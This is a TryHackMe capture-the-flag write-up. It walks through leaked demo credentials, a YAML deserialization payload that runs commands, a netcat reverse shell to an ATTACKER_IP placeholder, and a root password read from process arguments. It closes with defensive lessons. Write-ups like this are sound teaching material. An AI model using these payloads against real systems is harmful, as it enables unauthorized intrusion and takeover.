Hacker Holidays: Beach Bar — Write-up

Room: Hacker Holidays: Beach Bar
Platform: TryHackMe
Target: http://10.114.186.150

Overview

The Beach Bar challenge exposes a jukebox application with a demo DJ account left enabled. After authenticating with the credentials disclosed in the page source, the playlist import feature can be abused through unsafe YAML deserialization to obtain remote code execution as the bartender user. Finally, a password exposed in a running process allows privilege escalation to root.

Attack path: Exposed credentials → Unsafe YAML deserialization → Reverse shell as bartender → Credential disclosure in process arguments → Root access

1. Initial Access: Exposed DJ Credentials

I started by opening the target web application at:

http://10.114.186.150

Reviewing the page source revealed an HTML comment containing development credentials:

<!--
    staff note: the demo DJ login is still enabled for the soft opening.
    dj / dj  -- swap this before the season starts (ticket BAR-7)
  -->

Using dj as both the username and password granted access to the jukebox control panel.

2. Identifying the Playlist Import Functionality

Inside the panel, I exported the current playlist. This produced a playlist.yml file:

# Beach Bar jukebox playlist export
playlist:
  name: Sunset Session
  vibe: golden hour
  tracks:
    - artist: Khruangbin
      title: Maria Tambien
    - artist: Men I Trust
      title: Show Me How
    - artist: Crumb
      title: Locket

The application also provided an import option for playlists. Since YAML was accepted and the imported output was rendered in a Python dictionary-like representation, I tested whether the backend was using an unsafe YAML loader.

3. Remote Code Execution via Unsafe YAML Deserialization

To confirm the vulnerability, I uploaded the following YAML payload. It uses the Python-specific !!python/object/apply YAML tag to invoke subprocess.check_output and execute id:

playlist:
  name: !!python/object/apply:subprocess.check_output [["id"]]
  tracks:
    - artist: x
      title: x

The server returned the command output:

{'playlist': {'name': b'uid=1001(bartender) gid=1001(bartender) groups=1001(bartender)\n', 'tracks': [{'artist': 'x', 'title': 'x'}]}}

This confirmed arbitrary command execution as the bartender user.

4. Obtaining a Reverse Shell

I set up a Netcat listener on my attacking machine:

nc -lnvp 1234

Then I imported a malicious playlist containing a FIFO-based reverse shell payload:

playlist:
  name: !!python/object/apply:subprocess.check_output [["/bin/sh", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER_IP 1234 >/tmp/f"]]

The listener received a shell as bartender. I upgraded it to an interactive Bash shell with:

python3 -c "import pty; pty.spawn('/bin/bash')"

5. User Flag

Navigating to the bartender home directory revealed the first flag in user.txt:

THM{y4ml_********_****_***_b34ch}

6. Privilege Escalation: Credentials in Process Arguments

The room description mentioned a service “down the boardwalk” quietly announcing something. I initially checked cron jobs, but did not find anything useful.

Next, I inspected the running processes:

ps auxww

This revealed a root-owned service with a password passed directly as a command-line argument:

root         609  0.0  0.2  20176 11716 ?        Ss   09:35   0:00 /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k

I tested the exposed value as the root password:

su root

It worked, giving me a root shell.

7. Root Flag

Finally, I navigated to /root and read root.txt:

THM{cr3d3nt14l_*****_**_***_*****_b4r}

Lessons Learned

This room demonstrates several common but high-impact issues:

• Hard-coded credentials: Demo accounts and default passwords must be disabled before deployment.
• Unsafe YAML parsing: Applications should use safe YAML parsing methods, such as Python's yaml.safe_load, rather than loaders capable of constructing arbitrary Python objects.
• Secrets in command-line arguments: Process arguments are often visible to local users via commands such as ps. Passwords and other secrets should be stored and supplied through safer mechanisms.